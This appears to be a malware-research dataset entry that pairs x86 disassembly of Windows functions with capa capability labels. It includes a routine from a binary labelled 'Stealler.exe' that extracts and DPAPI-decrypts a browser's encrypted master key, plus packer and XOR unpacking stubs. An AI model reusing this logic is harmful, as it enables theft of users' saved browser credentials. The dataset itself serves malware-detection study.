joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405e60
Capabilities:
Decode data using base64 via winapi
Encrypt data using dpapi
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x411f88
push ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov ebx, eax
push 2
push 0
push ebx
call esi
add esp, 0x14
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
mov edi, eax
push 0
push 0
push ebx
call esi
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor edx, edx
add esp, 0xc
mov ecx, edi
add ecx, 1
setb dl
neg edx
or edx, ecx
push edx
call esi
add esp, 4
mov dword [ebp - 0x24], eax
push ebx
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [ebp - 0x24]
add esp, 0x14
push 0
push 0
push edi
push eax
mov byte [eax + edi], 0
call sym.Stealler.exe__cJSON_ParseWithLengthOpts_16
push 0
mov edx, str.os_crypt
mov dword [ebp - 0x30], eax
mov ecx, eax
call fcn.004030a0
add esp, 4
mov edx, str.encrypted_key
mov ecx, eax
push 1
call fcn.004030a0
add esp, 4
lea ecx, [ebp - 0xc]
xor edi, edi
mov dword [ebp - 0xc], edi
mov eax, dword [eax + 0x10]
push edi
push edi
push ecx
push edi
push 1
push edi
push eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test eax, eax
je 0x405f71
push dword [ebp - 0xc]
call esi
mov edi, eax
add esp, 4
test edi, edi
je 0x405f71
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push edi
push 1
push 0
push dword [ebp - 0x20]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x405ffc
push edi
call ebx
add esp, 4
mov esi, dword [ebp - 0x20]
add esi, 0xfffffffb
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0x20], eax
lea ecx, [edi + 5]
push esi
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [ebp - 0x1c], esi
mov esi, dword [ebp - 0x20]
lea eax, [ebp - 0x14]
xorps xmm0, xmm0
mov dword [ebp - 0x18], esi
movlpd qword [ebp - 0x14], xmm0
push eax
push 1
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x405fcf
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov dword [ecx], eax
push edi
call ebx
add esp, 4
push esi
call ebx
add esp, 4
push dword [ebp - 0x30]
call sym.Stealler.exe__cJSON_Delete_4
push dword [ebp - 0x24]
call ebx
mov ecx, dword [ebp - 8]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0041005d
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0xc]
jmp 0x405f74
Function at 0x40a5f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x413498
push edx
mov dword [ebp - 8], ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x40a654
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push 2
push 0
push edi
call esi
add esp, 0xc
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
mov ebx, eax
mov dword [ebp - 4], ebx
push 0
push 0
push edi
call esi
add esp, 0xc
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov ebx, eax
push edi
test ebx, ebx
jne 0x40a65d
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 4]
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push edi
mov esi, eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov edi, dword [ebp - 4]
add esp, 0x14
cmp esi, edi
je 0x40a68f
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 8]
mov edx, dword [ebp + 8]
push ecx
mov ecx, esi
call fcn.0040f4a0
add esp, 4
mov edx, ebx
mov ecx, esi
push edi
call fcn.0040ff80
add esp, 4
mov ecx, esi
call fcn.0040fb10
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a6d0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x988
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x208
mov dword [ebp - 0x984], eax
mov ebx, edx
lea eax, [ebp - 0x72c]
mov dword [ebp - 0x980], ebx
push 0
push eax
mov dword [ebp - 0x988], ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x524]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x31c]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x72c]
add esp, 0xc
push ebx
push str._s.
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x97c]
push eax
lea eax, [ebp - 0x72c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a911
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileW]
nop dword [eax]
mov ecx, 0x411f70
lea eax, [ebp - 0x950]
nop dword [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40a7b6
test dx, dx
je 0x40a7b2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40a7b6
add eax, 4
add ecx, 4
test dx, dx
jne 0x40a790
xor eax, eax
jmp 0x40a7bb
sbb eax, eax
or eax, 1
test eax, eax
je 0x40a8f8
mov eax, 0x411f74
lea ecx, [ebp - 0x950]
nop
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x40a7f6
test dx, dx
je 0x40a7f2
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x40a7f6
add ecx, 4
add eax, 4
test dx, dx
jne 0x40a7d0
xor eax, eax
jmp 0x40a7fb
sbb eax, eax
or eax, 1
test eax, eax
je 0x40a8f8
test byte [ebp - 0x97c], 0x10
lea eax, [ebp - 0x950]
push eax
push dword [ebp - 0x980]
lea eax, [ebp - 0x524]
push 0x411f7c
push eax
je 0x40a88e
call esi
lea eax, [ebp - 0x950]
push eax
push dword [ebp - 0x984]
lea eax, [ebp - 0x31c]
push 0x411f7c
push eax
call esi
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x2c
lea eax, [ebp - 0x31c]
push 0x104
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
mov ecx, dword [ebp - 0x988]
lea eax, [ebp - 0x31c]
add esp, 0xc
lea edx, [ebp - 0x524]
push eax
call fcn.0040a6d0
jmp 0x40a8f5
call esi
lea eax, [ebp - 0x950]
push eax
push dword [ebp - 0x984]
lea eax, [ebp - 0x31c]
push 0x411f7c
push eax
call esi
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x2c
lea eax, [ebp - 0x31c]
push 0x104
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
mov ecx, dword [ebp - 0x988]
lea eax, [ebp - 0x114]
add esp, 0xc
lea edx, [ebp - 0x524]
push eax
call fcn.0040a5f0
add esp, 4
lea eax, [ebp - 0x97c]
push eax
push edi
call ebx
test eax, eax
jne 0x40a780
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041005d
mov esp, ebp
pop ebp
ret
Function at 0x40b540
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, edx
movzx esi, cx
mov eax, 0x5e6ea9af
shr ecx, 0x10
mul dword [ebp + 8]
mov dword [ebp - 0x10], ecx
shr edx, 0xb
imul eax, edx, 0x15b0
mov edx, dword [ebp + 8]
mov ebx, edx
sub ebx, eax
mov dword [ebp - 4], ebx
test edi, edi
jne 0x40b57d
lea eax, [edi + 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edx, edx
je 0x40b693
xor edx, edx
mov dword [ebp - 8], edx
cmp ebx, 7
jbe 0x40b5f4
mov eax, 7
sub eax, edi
mov dword [ebp - 0x10], eax
nop dword [eax]
movzx eax, byte [edi]
add edx, 8
add esi, eax
movzx eax, byte [edi + 1]
add ecx, esi
add esi, eax
movzx eax, byte [edi + 2]
add ecx, esi
add esi, eax
movzx eax, byte [edi + 3]
add ecx, esi
add esi, eax
movzx eax, byte [edi + 4]
add ecx, esi
add esi, eax
movzx eax, byte [edi + 5]
add ecx, esi
add esi, eax
movzx eax, byte [edi + 6]
add ecx, esi
add esi, eax
movzx eax, byte [edi + 7]
add ecx, esi
add edi, 8
add esi, eax
mov eax, dword [ebp - 0x10]
add eax, edi
add ecx, esi
cmp eax, ebx
jb 0x40b5a0
mov dword [ebp - 8], edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 4]
xor ebx, ebx
xor edx, edx
cmp dword [ebp - 8], eax
jae 0x40b655
sub eax, dword [ebp - 8]
cmp eax, 2
jb 0x40b648
mov eax, dword [ebp - 8]
mov ecx, ebx
mov edx, dword [ebp - 4]
sub edx, eax
sub edx, 2
shr edx, 1
inc edx
lea eax, [eax + edx*2]
mov dword [ebp - 8], eax
nop
movzx eax, byte [edi]
add esi, eax
movzx eax, byte [edi + 1]
add ebx, esi
add edi, 2
add esi, eax
add ecx, esi
sub edx, 1
jne 0x40b620
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
cmp eax, dword [ebp - 4]
jae 0x40b650
movzx eax, byte [edi]
add esi, eax
add ecx, esi
inc edi
lea eax, [edx + ebx]
add ecx, eax
mov eax, 0x80078071
mov ebx, 0x15b0
mul esi
shr edx, 0xf
imul eax, edx, 0xffff000f
add esi, eax
mov eax, 0x80078071
mul ecx
shr edx, 0xf
imul eax, edx, 0xffff000f
add ecx, eax
mov eax, dword [ebp + 8]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov dword [ebp + 8], eax
mov dword [ebp - 4], ebx
jne 0x40b585
shl ecx, 0x10
pop edi
lea eax, [esi + ecx]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b6a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
not ecx
cmp esi, 4
jb 0x40b70b
push edi
mov edi, esi
shr edi, 2
movzx eax, byte [edx]
sub esi, 4
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x411b40]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x411b40]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x411b40]
movzx eax, byte [edx + 3]
add edx, 4
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x411b40]
sub edi, 1
jne 0x40b6b4
pop edi
test esi, esi
je 0x40b72a
nop
movzx eax, byte [edx]
lea edx, [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x411b40]
sub esi, 1
jne 0x40b710
not ecx
mov eax, ecx
pop esi
pop ebp
ret
Function at 0x41095c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41099b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41099b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41099b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41099b
cmp dword [ecx + 0x74], 0xe
jbe 0x41099b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x860058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.008601a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x86007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x86006a
add dl, dl
jne 0x860089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8600dc
xor eax, eax
add dl, dl
jne 0x860096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x86017d
add dl, dl
jne 0x8600a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8600b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8600bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8600c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8600d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x860075
mov eax, 1
add dl, dl
jne 0x8600ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8600f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8600e1
sub eax, ebx
mov ebx, 1
jne 0x860128
mov ecx, 1
add dl, dl
jne 0x86010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x860119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x860105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x860075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x86013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x86014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x860136
cmp eax, 0x7d00
jae 0x86016d
cmp eax, 0x500
jb 0x860168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x860075
cmp eax, 0x7f
ja 0x860170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x860075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x86019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x860075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x488cef
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push ebx
xor eax, eax
mov ebx, dword fs:[0x18]
mov ecx, dword fs:[0x30]
test ecx, ecx
jns 0x488d27
mov ecx, 0x530000
cmp dword [ebx + 0x58], ecx
jne 0x488d15
mov al, 1
jmp 0x488d86
cmp dword [ebx + 0x54], ecx
jne 0x488d1e
mov al, 2
jmp 0x488d86
cmp dword [ebx + 0x7c], ecx
jne 0x488d86
mov al, 3
jmp 0x488d86
mov ebx, dword [ecx + 0xa8]
mov ecx, dword [ecx + 0xa4]
cmp ecx, 4
ja 0x488d3c
mov al, 4
jmp 0x488d86
cmp ecx, 5
jne 0x488d5c
cmp ebx, 0
jne 0x488d4a
mov al, 5
jmp 0x488d86
cmp ebx, 1
jne 0x488d53
mov al, 6
jmp 0x488d86
cmp ebx, 2
jne 0x488d5c
mov al, 7
jmp 0x488d86
cmp ecx, 6
jne 0x488d84
cmp ebx, 0
jne 0x488d6a
mov al, 8
jmp 0x488d86
cmp ebx, 1
jne 0x488d71
mov al, 9
cmp ebx, 2
jne 0x488d78
mov al, 0xa
cmp ebx, 3
jne 0x488d7f
mov al, 0xb
cmp ebx, 4
jne 0x488d86
mov al, 0xc
pop ebx
leave
ret
Function at 0x5ec6c0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x6a5b9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00699a85
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x5ec742
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00696f6f
mov eax, dword [eax]
push 0x788d40
push eax
call fcn.0066d384
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00699d10
test bl, bl
je 0x5ec742
push 0x788d40
lea ecx, [esp + 0xc]
call fcn.0069a0a0
push 0x788d4c
lea ecx, [esp + 0xc]
call fcn.0069a0a0
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x5ec77e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00699d10
jmp 0x5ec849
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x5ec802
lea edx, [esp + 0x7c]
push 0x788d48
push edx
call fcn.0066d384
add esp, 8
test eax, eax
je 0x5ec802
lea eax, [esp + 0x7c]
push 0x788d44
push eax
call fcn.0066d384
add esp, 8
test eax, eax
je 0x5ec802
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x5ec792
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00699d10
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x5ed040
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x5ed0a2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x5ed0b0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x6a5c1b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x799664]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x5ed1e8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x5ed116
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00699d10
xor eax, eax
jmp 0x5ed25f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00699e4d
push esi
lea ecx, [esp + 0xc]
call fcn.0069a0dc
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x788d80
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x5ed23d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.005ed040
test eax, eax
jne 0x5ed23d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.005ed040
test eax, eax
jne 0x5ed23d
lea eax, [esp + 0x14]
push str.__1_
push eax
call fcn.0066e740
mov esi, eax
add esp, 8
test esi, esi
jne 0x5ed21c
lea ecx, [esp + 0x14]
push 0x788d58
push ecx
call fcn.0066e6c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x5ed21c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x5ed21f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00699dfd
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x5ed12e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00699d10
xor eax, eax
jmp 0x5ed25f
mov byte [esi], 0
push 0x788d54
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00699d10
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4